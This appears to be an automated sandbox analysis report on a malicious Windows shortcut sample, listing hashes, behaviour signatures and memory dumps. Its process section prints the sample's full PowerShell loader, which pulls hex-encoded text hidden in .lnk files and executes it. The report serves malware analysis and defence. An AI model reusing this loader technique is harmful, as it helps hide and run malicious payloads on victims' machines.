62fab79e945bc629c110f21c9db37c8c0cc441ad15e73c1c1349fbef986b3789

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-04-2024 07:10

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General

Target

85e44c6e99f5f4043fc2c993b6fa633b_JaffaCakes118.lnk
Size

5.4MB
MD5

85e44c6e99f5f4043fc2c993b6fa633b
SHA1

21b3e0a10dd9798ef71fe073cdad7cfdadbfdeae
SHA256

62fab79e945bc629c110f21c9db37c8c0cc441ad15e73c1c1349fbef986b3789
SHA512

7c2f7183d40ac7bab91fa1a572c625e38e8f7ec848d54b7a937b6a33acc5868df3af72ae3a6187e8720303ff7aa7d00e7895ff77adfd504d8b394dacb34d30ff
SSDEEP

1536:U9I0i/p6qP3NUUSQryt/H7brkIYtppz5h5Z5S5k5+5L5XEYEpEz5d5zE/EVE/E/A:U94

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2536 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2536 powershell.exe

pid	process
2536	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1548 wrote to memory of 2536	1548	cmd.exe	powershell.exe
PID 1548 wrote to memory of 2536	1548	cmd.exe	powershell.exe
PID 1548 wrote to memory of 2536	1548	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\85e44c6e99f5f4043fc2c993b6fa633b_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function mT($gL) {$mW = $Null;Get-ChildItem $gL -Recurse -Depth 1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq '.lnk'} | % {$yq = [String](Get-Content $_.FullName);$pH = 'VXJKUHSCSOQOTVAQOTOSEHMTYRYGQZIM';$lG = $yq.IndexOf($pH);if($lG -ne -1) {$Gc = $yq.SubString($lG);$mW = $Gc.Replace($pH,'')}};return $mW};function P($z) {$G = [Text.StringBuilder]::New();for($UzG=0;$UzG -lt $z.Length;$UzG+=2){[void]$G.Append([char][int]('0x'+$z.Substring($UzG,2)))}return $G.ToString()}$mW = mT $(Get-Location).Path;if($mW -eq $Null) {$mW = mT $($env:TEMP)};$wb = [ScriptBlock]::Create((P $mW));$wb.Invoke();
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2536

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2536-38-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2536-39-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/2536-40-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmp

Filesize
9.6MB

Download
memory/2536-41-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2536-42-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmp

Filesize
9.6MB

Download
memory/2536-45-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2536-44-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2536-43-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2536-46-0x00000000025D0000-0x0000000002650000-memory.dmp

Filesize
512KB

Download
memory/2536-47-0x000007FEF4F50000-0x000007FEF58ED000-memory.dmp

Filesize
9.6MB

Download